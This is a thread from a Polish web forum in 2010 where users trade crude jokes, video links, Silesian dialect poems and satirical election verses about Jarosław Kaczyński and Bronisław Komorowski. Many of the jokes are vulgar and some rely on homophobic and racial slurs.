Putin wezwał Wielką Dumę Narodową i mówi: - Tak dalej kur*a nie może być!! Musimy zmienić strefy czasowe ziemi. Dzwonię dziś do Pekinu złożyć życzenia urodzinowe, a on mi mówi, że to było wczoraj. Dzwonię dziś do Warszawy z kondolencjami, a oni mi mówią,
że jeszcze nie wylecieli...

Bero - 23-05-2010, 21:22

http://www.youtube.com/wa...n5rjw9fwP4&NR=1 tak ruscy wiosluja :D
DeDeK - 24-05-2010, 09:55

Dlaczego mężczyźni boją się inteligentnych i niezależnych kobiet?
- Bo zjawiska paranormalne zawsze są mocno niepokojące.

- Uwaga! W parku miejskim pojawił się maniak seksualny... dojazd autobusami 14 i 34.

Radiowóz wpada na drzewo. Z rozbitego pojazdu gramoli się dwóch "wesołych"
funkcjonariuszy. Jeden mówi do drugiego:
- No, Stasiu, tak szybko na miejscu wypadku to jeszcze nigdy nie byliśmy.

Zajączek zwraca uwagę wężowi:
- Przestań mnie kopać, bo się zdenerwuje!
- Przecież ja nie mam nóg! - odpowiada wąż wzruszając ramionami.

- Towarzyszu kapitanie, przyniosłem wniosek o przepustkę.
- Wstaw do lodówki.

Deszcz meteorytów obserwuje zięć i teściowa. Zięć pomyślał życzenie.
Teściowa nie zdążyła...

Adwokaci tak zdrożeli, że ostatnio taniej wychodzi kupić sędziego.

Nie boję się żony! Tylko jak jej to powiedzieć...

sempai - 07-06-2010, 18:22

A co robi Jarosław Kaczyński gdy pada pytanie o sex??
Odwraca kota ogonem!!!!

Rolek - 08-06-2010, 18:04

Idą sobie dróżką trzej przyjaciele: miś,łoś i ryś.
Ten pierwszy oznajmia:
- Wk...wia mnie to "ś" na końcu. Takie "ś" jest pedalskie, ciotowate i w ogóle!... Od dzisiaj koniec z misiem. Jestem Niedźwiedź!!! Bo powiadam wam: kto ma "ś" na końcu, ten fujara i gej.
Łoś zorientowawszy się w beznadziei sytuacji, bo wszak łoś to łoś i nic nie poradzisz, w panice szarpie za ramię Rysia:
- Ej, k****, powiedz coś, Ryś. Przecież my nie geje, prawda?! No powiedz coś...Ryś!...
Na to ryś dostojnie:
- Ryszard, pedale!



Założyli się rosyjski i amerykański dyrektor parku rozrywki, kto ma straszniejszą jaskinię strachu.
Wchodzi Ruski do amerykańskiej jaskini i widzi - szkielety, wampiry, zjawy, łańcuchy, kajdany...
Wchodzi Amerykaniec do ruskiej jaskini. Ciemny, wąski korytarz, na końcu światełko. Gdy dochodzi do tego światełka, słyszy za sobą złowieszczy odgłos zatrzaskiwanych drzwi. Zauważa, że krąg światła pochodzi z niewielkiej świecy. Podchodząc bliżej dostrzega, że świecę trzyma dwumetrowy, nagi Gruzin. I w dodatku pyta:
- D*pę myłeś? (I gasi świecę).

Ruski - 08-06-2010, 20:04

http://www.youtube.com/watch?v=z5hPqRl_J9s
Dany - 10-06-2010, 07:09

Sytuacja, która wydarzyła się w autobusie linii numer 32 w
Gliwicach. Autobus, pełen tłok ludzi (godzina 16, każdy wraca z
roboty), jednym z pasażerów zajmujących miejsce siedzące jest
czarnoskóry mężczyzna, wiek nieznany. Autobus staje na przystanku,
wsiada kobieta w ciąży (zaawansowanej) z zakupami i jakaś babcia (i
inne osoby).
Murzyn widząc kobietę w ciąży wstaje i mówi do niej: "Proszę sobie
usiąść" i grzecznie się odsuwa, podaje dłoń żeby się go złapała -
autobus już rusza. Babcia widząc zwalniane miejsce, odpycha kobietę
brzemienną i pędem wskakuje na krzesełko, zajmuje je i siedzi w
niebo wzięta.
Czarnoskóry powiedział jej ładnie: "przepraszam, ale ustąpiłem
miejsca tej kobiecie, bo jest w ciąży i wygląda na zmęczoną, chyba
niestanie się pani nic, jeśli postoi pani trochę a da usiąść tej
pani."
Na co babcia odpowiada:
"Nie wiem z jakiego plemienia pan jest, ale tutaj,w tym
cywilizowanym kraju ustępuje się miejsca starym, schorowanym
kobietom, a nie młodym, zdrowym."
No niestety miała pecha, bo czarny najwidoczniej się mocno zirytował
przytykiem rasistowskim więc ładnie i dosadnie odpowiedział starszej
pani:
"Nie wiem, z jakiej wioski pani jest, ale w mojej to takie stare i
zgryźliwe pizdy zjada się na kolację".
Ponoć reakcja autobusu była nie do opisania.

Te_Pe - 10-06-2010, 13:38
Temat postu: za demotywatorami

breath - 11-06-2010, 10:06

http://www.megavideo.com/?v=ZXFNXH28 :)
Ruski - 30-06-2010, 11:35

Zdjęcia pokazują pochodzenie Vuvuzeli.
Podobno żeby zagrało trzeba wziąć do ust i troszkę popracować :bee;



koziolek - 01-07-2010, 20:37

Dostałem dziś takiego sms'a:
Przyjacielu!Mam do ciebie ogromną prośbę!
Idź czwartego na wybory i zrób wszystko co trzeba aby po wyborach pierwsza dama nie szczała do kuwety! :ping:

Ryszard Szwajcer - 02-07-2010, 07:37

Myślę, ze skoro już o polityce zaczęto, to takie wierszyki ostatnio otrzymuję w mailach:)

Nie jestem już żaden smarkacz,
Łeb mam pokryty siwizną.
Nie zagłosuję na Jarka,
Bo zbyt cię kocham, Ojczyzno!

Niejeden ciężar na barkach
Dźwigałem, znosiłem trudy.
Nie zagłosuję na Jarka,
Bo dość mam kłamstw i obłudy.

Gdy spytasz mnie, niedowiarka,
Dlaczego? Wyznam ci szczerze:
Nie zagłosuję na Jarka,
Bo w żadną zmianę nie wierzę.

Skąd wiem, że wybór niedobry?
Nie wierzę w zmiany oblicza,
Bo nie chcę powrotu Ziobry
I teczek Macierewicza.

Bo nie chcę mieć Prezydenta,
Co straszy gejem i Żydem,
Co w każdym widzi agenta,
I może zaszczuć jak Blidę.

Na Jarka nie oddam głosu
Za czasy, gdy był premierem,
Za ten upadek etosu,
I koalicję z Lepperem.

Za to, co wciska ludowi,
Na co pozwala i sprzyja,
Za to, co pisze Sakowicz
I głosi Radio Maryja.

Za sieć podsłuchów i haków,
Wydanie walki elitom,
Za to, że skłócił Rodaków,
Za IV Rzeczpospolitą.

Dziś w duszy mej zakamarkach
Odkrywam decyzji sedno:
Nie zagłosuję na Jarka,
Bo nie jest mi wszystko jedno.

Wybaczcie drwinę i sarkazm,
Odporność z wiekiem się zmniejsza.
Nie zagłosuję na Jarka,
Bo Polska jest najważniejsza!


I jeszcze jeden:

Lepiej boso wejść w psie gówno
Pod sufitem mieć nierówno
Pod kościołem być staruszką
Z tą staruszką ...dzielić łóżko
Mieć skrofuły pod ogonem......
Alzheimera z Parkinsonem
Z krematorium dostać paczkę
Nic nie jedząc miewać sraczkę
Budzić śmiech wyrazem gęby
Stracić na raz wszystkie zęby
Lepiej czuć do siebie wstręta
Niż mieć Jarka - Prezydenta ...

Inne nie nadają się do opublikowania :)

ADHD - 02-07-2010, 18:16

- Kto ty jesteś?
- Jestem Bronek, prosty jak od szpadla trzonek!
- Jaki znak twój?
- Fałsz, obłuda!
- A w co wierzysz?
...- w Tuska cuda!
- Gdzie ty mieszkasz?
- W polskim grodzie!
- W jakim kraju?
- Gdzie powodzie!
- Czy Kraj kochasz?
- Jak pieniądze!
- A w co wierzysz?
- Że porządzę!
- Czyli wygrać chcesz wybory?
- Tak! Choć mam z tym problem spory!
Lud me kłamstwa, zdrady czuje i z poparcia
rezygnuje!
- Cóż byś zrobił zatem chętnie?
- Zniszczył Jarka dokumentnie

Beeker - 03-07-2010, 01:19

Idzcie glosowac ...
Co by się nie dzialo, idzcie ...
Z nura nIedzielnego zrezugnujcie, ale idzcie ...


Bo Nas przeglosuja ...

Oby nie ...

Ruski - 03-07-2010, 14:17

http://www.youtube.com/wa...player_embedded
Dany - 04-07-2010, 00:28

Narkoman trafil do piekla.
Otwieraja sie wrota, a tu cale lany marihuany. Narkoman napalony biegnie i rwie cale narecza. Nagle slyszy glos diabla:
- No i po co rwiesz, jak tam pelno narwane!
a tu faktycznie pelno swiezego ziela. Biegnie i zaczyna przerzucać zeby schlo. A tu diabel:
- I po co suszysz, jak juz tam ususzone!
I rzeczywiscie. Narkoman podbiega i zaczyna skrecac skrety. Skreca, skreca, na co diabel:
- I czego skrecasz, jak tam tyle na skrecane !
Narkoman patrzy, a tu skrety. Wybiera najwiekszego i pyta diabla:
- Masz moze ogien ?
A diabel z usmiechem:
- Bylby ogien - byłby raj

sparky - 08-07-2010, 10:32

Nauczycielka poleciła dzieciom skonstruować pułapkę na myszy. Na drugi dzień sprawdza prace.
Podchodzi do Jasia. Jaś przyniósł deseczkę, w nią wbity gwóźdź i na tym gwoździu serek. Pani pyta jak to działa, no to on na to, że myszka podchodzi, je serek, aż nagle jej gardziołko nabija się na gwóźdź.
- Ale to makabryczne! Wymyśl coś innego - mówi do Jasia.
Na drugi dzień Jasio przynosi inną deseczkę i na niej w dwóch miejscach przymocowany serek, a miedzy tymi serkami żyletka.
- Jak to działa? - pyta nauczycielka.
- Myszka podchodzi i zaczyna się zastanawiać który serek zjeść, patrząc to raz na jeden serek, to dwa na drugi. No i tak długo zastanawia się, i kręci główką, aż szyjka przerżnie się na tej żyletce.
- Ale makabryczne! - krzywi się nauczycielka. - Wymyśl coś innego.
Na trzeci dzień przynosi Jasio swój wynalazek. Pani ogląda pułapkę i pyta:
- Jasiu, dlaczego twój projekt to tylko mała deseczka?
- To jest moja pułapka na myszy.
- Więc powiedz, jak działa.
- Myszka podchodzi do deseczki, chwyta ją w łapki, wali się nią po głowie i krzyczy: "Nie ma serka, nie ma serka!!!

hubert68 - 08-07-2010, 19:41

Młody człowiek odwiedza w poszukiwaniu zatrudnienia Urząd Pracy w Szczecinie. Przegląda oferty pracy. Jego zainteresowanie wzbudza oferta pracy dla „Pomocnika Ginekologa“. Zwraca się do pracownika urzędu z prośbą o bliższe informacje.
- Na czym polega ta praca i jakie umiejętności są wymagane? - pyta ostrożnie.
Pracownik przeglądając ofertę w komputerze i informuje go na bieżąco:
- Oferta obejmuje opiekę nad młodymi, niedoświadczonymi kobietami, przygotowanie ich do wizyty u ginekologa, pomoc w rozebraniu się, oraz w razie konieczności mycie i golenie podbrzusza. Umiejętność uspakającego masażu podbrzusza pacjentek mile widziana...
Młodzieniec nie ukrywa zainteresowania tą ofertą. To zainteresowanie pogłąbia się jeszcze, gdy okazuje się, można zarobić 5 000 zł miesięcznie. Nie odstrasza go nawet informacja, że w celu podjęcia tej pracy konieczne jest udanie się do Przemyśla.
- Więc robota jest w Przemyślu? - pyta niezrażony
- Nie, w Szczecinie... - tłumaczy pracownik - ... ale koło Przemyśla znajduje się obecnie koniec kolejki zainteresowanych.

Ruski - 10-07-2010, 06:03

Coś dla fanów AC/DC. Na żywo! Highway to Hell na ukraińską nutę czyli Галю, приходь!
http://www.youtube.com/wa...player_embedded

Dany - 10-07-2010, 17:35

Idą sobie dróżką trzej przyjaciele: miś, łoś i ryś. Ten pierwszy oznajmia:
- wk*** mnie to "ś" na końcu. Takie "ś"jest pedalskie, ciotowate i w ogóle. Od dzisiaj koniec z misiem. Jestem Niedźwiedź. Bo powiadam wam: kto ma "ś" na końcu, ten pedał i a fee!
Łoś w panice szarpie za ramię rysia:
- Ryś a fee, powiedz coś...
- Jaki Ryś, ty pedale? Ryszard!

DiverX - 20-07-2010, 21:58

Samica czarnej wdowy odbiera życie samcowi zaraz po kopulacji. Ludzka kobieta rozciąga tę przyjemność na całą resztę życia.


- Chłopaki, moja znajoma chętnie się z kimś umówi.
- Fajna?
- Nooo, nogi do samych cycków!
"Lubię długie nogi" - pomyślał optymista.
"Nie lubię obwisłych cycków" - pomyślał pesymista.

Żydowska szadchan (swatka) zachwala młodzieńcowi zalety pewnej dziewczyny:
- To cud dziewczyna! Dosłownie! Młoda, bogata, urodziwa, inteligentna, a na dodatek nie musisz czekać aż 9 miesięcy na potomka. Ona da Ci go już za sześć...

Dziewczyna pyta chłopaka:
- A dlaczego ta prezerwatywa taka wymięta?
- To na szczęście! Jeszcze mnie ani razu nie zawiodła...

Ruski - 21-07-2010, 16:48



[ Dodano: 22-07-2010, 15:43 ]
Żeby pozostać w tym klimacie...


[ Dodano: 25-07-2010, 22:54 ]


[ Dodano: 26-07-2010, 15:33 ]


[ Dodano: 27-07-2010, 22:42 ]
Facetowi żona zaczęła mówić przez sen. Jakieś jęki i imię Rysiek... Bez dwóch zdań doprawiała mu rogi i facet szybko doszedł do takiego samego wniosku. Aby to sprawdzić, pewnego dnia udał,że wychodzi do pracy i schował się w szafie. Patrzy, a tu żona idzie pod prysznic, układa sobie włosy, maluje się, perfumuje i w samej koszulce nocnej wraca do łóżka.
W tym momencie otwierają się drzwi i wchodzi Rysiek.....Super przystojny, wysoki, śniada cera, czarne, bujne włosy - jednym słowem bóstwo. Facet w szafie myśli: "Muszę przyznać, że ten Rysiek ma klasę !".
Rysiek zdejmuje powoli koszulę i spodnie, a na nim stylowe ciuchy, najmodniejsze i najdroższe w tym sezonie. Facet w szafie myśli:"Ku**a, ale ten Rysiek, to jednak jest zajeb**ty!". Rysiek kończy się rozbierać od pasa w górę, a tu na brzuchu krateczka-kaloryfer, wysportowany, a na klacie grają mięśnie.
Facet w szafie myśli: "Ku**a, ten Rysiek, to ekstra gość!". Rysiek zdejmuje super-trendy bokserki,a tu pała aż do kolan. Facet w szafie myśli: "O rzesz ku**a, Rysiek to zajeb**ty buhaj!"
W tym momencie żona zdejmuje koszulę nocną i pojawia się brzuch z cellulitisem i obwisłe piersi aż do pasa. Facet w szafie myśli: "Ja pier**lę! Ale wstyd przed Ryśkiem".

Dany - 28-07-2010, 19:59

Rysiu wsiadł do tramwaju i przysiadł się do zakonnicy. Bardzo mu się spodobała i zaczął ja bajerować, ona jednak zgasiła go słowami:
- Wybacz, nie mogę oddać się mężczyźnie, ponieważ jestem oddana tylko i wyłącznie Bogu.
Na następnym przystanku wysiadła, tramwaj dojechał do pętli, gdy zdołowany Rysiu wysiadał, tramwajarz zaczepił go mówiąc:
- Słuchaj, mogę ci powiedzieć o tej zakonnicy coś, co cię zainteresuje...
- Tak, co takiego? - odparł podekscytowany Rysiu
- Ona ma taki zwyczaj, ze często o północy można ją zastać samotnie modlącą się i medytującą na cmentarzu.
Rysiowi nie trzeba było dwa razy powtarzać. Ubrał się w białą szatę, którą pomalował odblaskową farba, przykleił sobie sztuczną brodę i o północy wyruszył na cmentarz, było ciemno, ale dostrzegł kształty klęczącej zakonnicy
- To ja Bóg - rzekł - twoje modły zostały wysłuchane, wybrałem Ciebie i chce żebyś mi się oddala
- Och panie, dobrze - odparła zakonnica - ale proszę, zróbmy to analnie, bo w klasztorze matka przełożona przeprowadza rutynowa kontrole dziewictwa!
Uradowany facet zabrał się do dzieła, a po skończonej zabawie zerwał z siebie szatę i krzyknął z uśmiechem:
- Ha! Ha! To ja Rysio!
Widząc to zakonnica zerwała sutannę i krzyknęła z uśmiechem:
- Ha! Ha! To ja tramwajarz!

[ Dodano: 30-07-2010, 17:56 ]
Para w łóżku. Żona do męża:
- Kochanie, włóż od tyłu...
- Żółw.

jacekplacek - 01-08-2010, 12:24

Mamo, mamo!! krzyczy syn do matki
Dlaczego ty jestes czarna, tata jest czarny, a ja jestem biały
Synu: była taka impreza ze ty sie ciesz ze nie szczekasz!!!

Siedzi baca na kamieniu nad rzeką i pierze kota proszkiem do prania ,przechodzący turysta przystanął i mówi do bacy ,baco kota się nie pierze, na to baca piere się turysta jeszcze raz powtarza ,że się nie pierze kota,a baca swoje piere się i już.
Turysta widząc ,że nie jest w stanie przekonać bacy idzie dalej.
Mineło kilka godzin wraca turysta patrzy baca siedzi dalej na kamieniu ,a na brzegu obok leży martwy kot,a mówiłem baco ,że kota się nie pierze mówi turysta na co baca mu odpowiada ,kota się piere jeno się nie wykręco


+30°C Polacy śpią bez żadnego nakrycia. Amerykanie zakładają swetry. Mieszkańcy Miami włączają ogrzewanie.
+10°C Mieszkancy domow komunalnych w Helsinkach zamykaja okna. Lapończycy (nie mylic z Japonczykami!) sadzą kwiatki w oknach.
+5°C Lapończycy opalają się na balkonie, jeżeli słonce jest jeszcze nad horyzontem...
+2°C Włoskie samochody nie zapalają.
0°C Woda zamarza.
-1°C Oddech staje się widoczny. Czas zaplanować urlop nad morzem śródziemnym. Lapończycy jedzą lody popijajac zimnym piwem.
-4°C Kot wchodzi pod kołdrę.
-10°C Czas zaplanować urlop w Afryce.. Lapończycy idą popływać.
-12°C Zbyt zimno na śnieg.
-15°C Amerykańskie auta nie zapalają.
-18°C Wlaściciele domów w Helsinkach włączają ogrzewanie.
-20°C Oddech staje się słyszalny.
-22°C Francuskie auta nie zapalają. Za zimno na jazdę na łyżwach.
-23°C Politycy zaczynają współczuć bezdomnym.
-24°C Niemieckie auta nie zapalają.
-26°C Z oddechu uzyskuje się materiał na budowę iglo...
-29°C Kot wchodzi pod pidżamę.
-30°C Japońskie auta nie zapalają. Lapończyk klnie, kopie w koło swojej Toyoty i zapala Ładę.
-31°C Za zimno na pocalunki - usta przymarzają do siebie. Lapońska druzyna narodowa zaczyna przygotowania do sezonu wiosennego.
-35°C Czas zaplanować dwutygodniową kapiel w gorących źródłach. Lapończycy odśnieżają dachy.
-39°C Rtęć zamarza. Za zimno by myśleć. Lapończycy zapinają ostatni guzik w koszuli.
-40°C Niemiec bierze samochod pod kołdrę. Lapończycy ubierają swetry.
-45°C Lapończycy zamykają okienko w wychodku.
-50°C Lwy morskie opuszczaja Grenlandie. Lapończycy zamieniają rękawiczki z pięcioma palcami na jednopalcowe.
-70°C Niedzwiedzie polarne opuszczają biegun. Na uniwersytecie w Rovaniemi organizuje się bieg długodystansowy.
-75°C Św. Mikołaj opuszcza krąg polarny. Lapończycy opuszczają nauszniki z czapek na uszy.
-250°C Alkohol zamarza. Lapończycy są wkurzeni.
-268°C Hel staje się plynny.
-270°C Piekło zamarza.
-273,15°C Zero absolutne. Brak ruchu cząstek elementarnych... Lapończycy przyznają: "Tak,jest nieco chłodno, rozłupmy se flaszeczkę na rozgrzanie..."
_________________

[ Dodano: 01-08-2010, 13:02 ]
No i coś po naszymu :)
Jest na banhowie ciynszko maszyna
Rubo jak kachlok - niy limuzyna
Stoji i dycho, parsko i zipie,
A hajer jeszcze wongiel w nia sypie.
Potym wagony podopinali
I całym szwongym kajś pojechali.

W piyrszym siedziały se dwa Hanysy
Jeden kudłaty, a drugi łysy,
Prawie do siebie niy godali,
Bo się do kupy jeszcze niy znali.

W drugim jechała banda goroli
Wiyźli ze soba krzinka jaboli
I pełne kofry samych presworsztóf
I kabanina prościutko z rusztu.
Pili i żarli, jeszcze śpiywali,
Potym bez łokno wszyscy rzigali.

W czecim Cygony, Żydy, Araby
A w czwartym jechały zaś same baby.
W piontym zaś Ruski. Ci mieli życie!
Sasza łożarty siedzioł na tricie.
Gwiozda mioł na czopce, stargane łachy,
Krziwiył pycholem i ciepoł machy.
A w szóstym zaś były same armaty,
Co je wachował jakiś puklaty.
W siódmym dwa szranki, pufy, wertikol,
Smyczy maszyna może donikąd.
Jak przejyżdżali bez Śląskie Piekary
Kaj wom to robiom kółka do kary,
Maszyna sztopła! Kufry śleciały
I każdy latoł jak pogupiały.

To jakiś ciućmok i łajza!
Ciupnął i ślimtoł sygnal na glajzach.
Mog iść do haźla abo do lasa,
Niy pokazywać tego mamlasa!
Potym mu ale do szmot nakopali,
Maszyna ruszyła, cug jechoł dali.
Bez pola, lasy, góry, tunele,
Dar za sobom samym te duperele
Aż się zagrzoły te biydne glajzy,
Maszyna sztopła i koniec jazdy.

QQS - 02-08-2010, 17:01

Jak po naszymu to:

Loto, tyro Pan Hilary, do dekla mu piere,
bo kaś ten boroczek stary, posioł swoje brely .
Szuko w galotach, kabot obmacuje
przewróciył szczewiki, psinco znejduje.
Bajzel w szranku i w bifyju
a już leci do antryju.
„ Kurde”- woło- „ kurde bele”
ktoś mi rąbnął moje brely .
Przewraco leżanka i pod nią filuje,
borok se wnerwił, gnatów już nie czuje .
Szuko w kafloku, kopie w kredensie,
glaca spocono, cały se trzynsie.
Diabelskie berle na amym kajś wcięło,
za oknym już downo blank se ściemnieło.
Naroz do zdzadła zaglsdo Hilary,
aż mu po puklu przefiurgły ciary.
Patrzi na kichol, po łebie se puko,
bo znejdły se brely, ty co ich tak szukoł.
Czy to nie ma gańba, no powiedzcie sami,
mieć brely na nosie, a szukać pod ryczkami?

Ruski - 03-08-2010, 10:52

Trochę obrzydliwy ale co tam.
Poszedł facet do lekarza z próbka moczu. Lekarz odkręcił słoiczek, pociągnął spory łyk. Facet zbladł, a lekarz popłukał trochę w ustach, zadarł głowę do góry i zrobił glugluglu, po czym połknął.
Uśmiechnął się i powiedział:
- Mocz w porządku. Proszę jutro przynieść kał...
Na drugi dzień facet przychodzi z próbką kału, podaje lekarzowi. Ten wyjmuje z szuflady łyżeczkę, otwiera słoik... Pacjent znowu blednie. Lekarz miesza łyżeczką w słoiku, wyciąga porcję, ogląda wącha... Facet robi się zielony... Wtedy lekarz wkłada łyżeczkę do ust, mlaska, uśmiecha się. Facet ma już żołądek w gardle. Nagle lekarz przełyka i podsuwa łyżeczkę pacjentowi z pytaniem:
- Poczęstuje się pan?
Pacjent energicznym ruchem głowy zaprzecza. Wtedy lekarz rzuca z triumfem:
- Mamy pierwszy objaw! Po czym zapisuje w zeszycie: brak łaknienia.

Przemo_C - 03-08-2010, 11:13

QQS napisał/a:
Jak po naszymu to:

Loto, tyro Pan Hilary, do dekla mu piere,
bo kaś ten boroczek stary, posioł swoje brely....

A po naszemu tak:

Pun Hilary

Loto pun Hilary jak oszalały
Bo gdzieś mu sie bryle zadziały
Sprawdziuł kiejdy łod surduta
Eknuł do prawygo i lewygo buta
Pod leżankum na leżance
Wew antreji w łod kielochów szklance
Gmyro wew szafach i wew kuminie
Lyn nie popuści jak mu co zginie
Brechsztangum wydar deski dwie wew podłodze
Już do Szkiełów dzwuni wew wielki trwodze
Oż nagle szpycnuł się wew lusterko
Łyn nie doł wiary wiync znowyk zerko
Łokazało się co rychtyk unygo bryle
Ciyngiym na kluku mioł nu i tyle
A jo choć nie jezde całkiym stary
Czynsto mum tak jak tyn Hilary

Ruski - 05-08-2010, 20:26

Jest już projekt pomnika :bee;

Rolek - 06-08-2010, 10:45

- Bożena ruchasz się?
- Ale ja nie jestem Bożena!
- Dobra, dobra, nie o to pytam!

WW - 06-08-2010, 17:30

Najkrótszy dowcip o "miłości".

Kochasz mnie ?
Nie
To złaź.

Bigas - 07-08-2010, 17:18

Ruski napisał/a:
Jest już projekt pomnika :bee;


A to jeden :bee;






Ruski - 16-08-2010, 19:34

Steve Jobs (Apple) vs. Bill Gates (Microsoft)












breath - 17-08-2010, 10:19

- Bożena bzykasz sie?
- Ale ja nie jestem Bożena ?
- Dobra, dobra, nie o to pytam :)

koziolek - 17-08-2010, 11:09

breath napisał/a:
- Bożena bzykasz sie?
- Ale ja nie jestem Bożena ?
- Dobra, dobra, nie o to pytam :)

Zerknij cztery posty wyżej :prez:

lukaszl - 18-08-2010, 15:29

Przyjaźń między kobietami:

Pewnego dnia kobieta nie wróciła na noc do domu.
Następnego dnia powiedziała mężowi, że spała u przyjaciółki .
Mąż zadzwonił do 10 jej najlepszych przyjaciółek ....
żadna nie potwierdziła....


Przyjaźń między mężczyznami:

Pewnego dnia mąż nie wrócił do domu na noc.
Następnego dnia powiedział żonie, że spał u kolegi.
Żona zadzwoniła do 10 jego najlepszych
przyjaciół. 8 potwierdziło, że spał,
a 2 - że jeszcze jest.....

Ruski - 18-08-2010, 16:48

Subject : Re: kto widział film Pasja
Newsgroup: pl.rec.film

> Czy ktoś już widział ten film.
> Proszę o opinie.
Niesamowita koncowka, zupelnie zaskakujaca. Nie wiem czy to spoiler, ale
glowny bohater umiera! Takiego zwrotu akcji sie nie spodziewalem.

-------
Newsgroups: pl.comp.grafika
Subject: Re: [OT] Nie mogę znaleźć sterownikw do dzwiękówki

> Czy ktoś z forumowiczów wie gdzie mogła bym znaleść sterowniki do
> karty PCI Multimedia Audio Device? Przekopałam już chyba pół
> internetu i nic.

Muszą być w tej drugiej połówce....

QQS - 23-08-2010, 23:23

Biali drżą ze strachu. Ludożercy pytają pierwszego - zdrowy..? Zdrowy, odpowiada biały. To na zupę. Zdrowy..? Pytają drugiego. Zdrowy. To na pieczeń. Zdrowy? Pytają trzeciego. Ten zorientował się w czym rzecz i odpowiada - chory.. Na co? Pytają ludożercy. Na cukrzycę. To na kompot.
lukaszl - 24-08-2010, 22:48

Klasyka w nowym wydaniu :ping:

http://www.youtube.com/wa...player_embedded

Ruski - 26-08-2010, 21:12



http://www.youtube.com/wa...player_embedded

Marcin13736 - 27-08-2010, 17:53

Mania napisał/a:
"Gwiezdne Wojny" z czeskim dubbingiem: Lord Vader do Luke'a Skywalkera: "Luk! jo sem twoj tatinek!"
.....

Pytanie do Batmana: " ktoś ty.... Ja se Nietoperek"

[ Dodano: 27-08-2010, 20:47 ]
-Jasiiuuu, Jasiuuuu,- pyta dziadek swego wnuka,
powiedz dziecko jak się nazywa ten Niemiec, co mi od jakiegoś czasu wszystko chowa?
- Alzhaimer Dziadku!

[ Dodano: 27-08-2010, 20:49 ]
Kochanek z kochanką w łóżku "bara, bara"...nagle dzwonek do drzwi, ona do niego:
- Skacz przez okno, to na pewno mój mąż!
- Oszalałaś, przecież to 13-te piętro!...
- K....a, że ty musisz być taki PRZESĄDNY....

[ Dodano: 27-08-2010, 20:52 ]
Dwie koleżanki z byłej pracy rozmawiają przy kawie:
- Co dostałaś od szefa jak odchodziłaś z pracy?
- Taaakkkiego h....a!
- No patrz, a ja głupia wzięłam te pare groszy...

[ Dodano: 27-08-2010, 20:57 ]
Przed salą operacyjną czeka zniecierpliwiona Pani. Nagle zapytuje wychodzącego Lekarza:
- Panie doktorze, i jak opracja się udała?
- Operacja? A to nie była sekcja zwłok?......

[ Dodano: 27-08-2010, 20:59 ]
Lekarz do pacjenta na sali pooperacyjnej:
- Mam dla pana dwie informacje, jedną złą, drugą dobrą. Którą chce pan usłyszeć pierwszą?
- Może najpierw tą złą- martwi się pacjent.
- Usuneliśmy panu przez pomylkę zdrową nerkę.
- O k....a! A ta dobra wiadomość.
- Ta chora nerka ma się lepiej...

[ Dodano: 27-08-2010, 21:02 ]
Baca z gaździną w łóżku, nagle ona siada na Bacy i mówi:
- Baco, gniwom sie!
- Maruś, ale za co ty sie gniwosz?
- Nie ja sie gniwom, tylko wom sie gnie!

jacekplacek - 31-08-2010, 21:24

A po wojnie PADI- reszta świata... :aaa:


Ruski - 06-09-2010, 14:51

Prawdziwe poczucie spełnienia obowiązku!

Baba wstała wczesnym rankiem, posprzątała dom, wydoiła krowę, wygnała na
pastwisko, zbudziła dzieci, nakarmiła i wyprawiła je do szkoły,
naostrzyła kosę, poszła na łąkę, nakosiła trawy, narąbała drewna,
przygotowała obiad, nakarmiła dzieci, zrobiła pranie, po czym znów
poszła w pole, kosiła do zmierzchu, przygnała krowę do obory, wydoiła,
przygotowała kolację, nakarmiła dzieci, wykąpała i położyła je spać,
sama się wykąpała, przekąsiła kromkę chleba, zmówiła pacierz i w
poczuciu dobrze spełnionego obowiązku położyła się spać.
Nagle zrywa się :
- O matko boska, przecie chłop niewyruchany od rana !!!

atego815 - 06-09-2010, 18:22

Chłopak z dziewczyną robią bara-bara...Jest cudownie....Ale dziewczyna ma ochotę na zmianę pozycji...Więc mówi:
-włóż od tyłu....
A on po chwili:
-żółw.

QQS - 06-09-2010, 19:34

lukaszl napisał/a:
Klasyka w nowym wydaniu

http://www.youtube.com/wa...player_embedded



Ale na faktach autentycznych

http://www.youtube.com/wa...feature=related

Ruski - 09-09-2010, 18:55

Pewien facet miał problemy ze wzwodem.
Lekarz po przeprowadzeniu wszystkich badań, zaordynował mu długotrwałą kurację.
- Proszę pana - rzekł - tu jest 20 tabletek. Ma pan brać jedną co tydzień. Po dwudziestu tygodniach, Pana organ na pewno wróci do normy.
Wszystko byłoby dobrze, gdyby pacjent był cierpliwy. Niestety. Pierwszego dnia doszedł do wniosku, że nie będzie tak długo czekał i zżarł wszystkie pigułki popijając wódką. Rano już nie żył. Rodzina popłakała, pożałowała i pochowała delikwenta na miejskim cmentarzu.
Po tygodniu zaczęły się dziać dziwne rzeczy. Marmurowy pomnik, który ufundowała ciotka,
rozleciał się, a spod gruzów zaczął wyrastać penis. Był każdego dnia dłuższy i dłuższy. Odcinany, odrastał i rósł jeszcze szybciej. Zebrała się rada miejska, ale nikt nie mógł znaleźć sensownego rozwiązania. Aż pojawił się miejscowy grabarz, który za 10 butelek wina podjął się rozwiązać problem. Szybciutko walnął trzy buteleczki i na oczach zdumionych radnych rozkopał grób i przekręcił faceta twarzą do dołu.
Minął rok.
Na 42 ulicy w Nowym Jorku pękł asfalt. Ze szczeliny zaczął wyrastać penis, który rósł bardzo szybko. Żadne środki chemiczne, ani działania polegające na obcinaniu tegoż, nic nie dawały.
Rada miejska z Burmistrzem na czele była bezsilna. Wyznaczono wysoką nagrodę dla tego,
który zaradzi zaistniałej sytuacji.
Po paru dniach do Burmistrza zgłosił się stary Turek i powiedział.
- Dam sobie z tym radę, ale chcę dostać w dzierżawę na 99 lat teren w promieniu 20 metrów od "epicentrum".
- Jeśli sobie poradzisz - krzykną Burmistrz
- to dostaniesz to miejsce nawet na 300 lat.
Podpisali stosowne umowy...
I od tamtego czasu, na 42-giej Ulicy w Nowym Jorku, sprzedają najlepszy turecki kebab na świecie

Bero - 10-09-2010, 10:11

To, że matematyka jest królowa nauk to wiemy wszyscy. Ale dopiero poniższe rozumowanie to tak naprawdę unaocznia

Co to znaczy osiągnąć w życiu 100%?
Wielu ludzi mówi, że daje z siebie ponad 100%, ale czy tak jest rzeczywiście? Co to znaczy osiągnąć 100% w życiu? Z pomocą przychodzi nam matematyka ;

Jeżeli za A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
podstawimy: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

to:
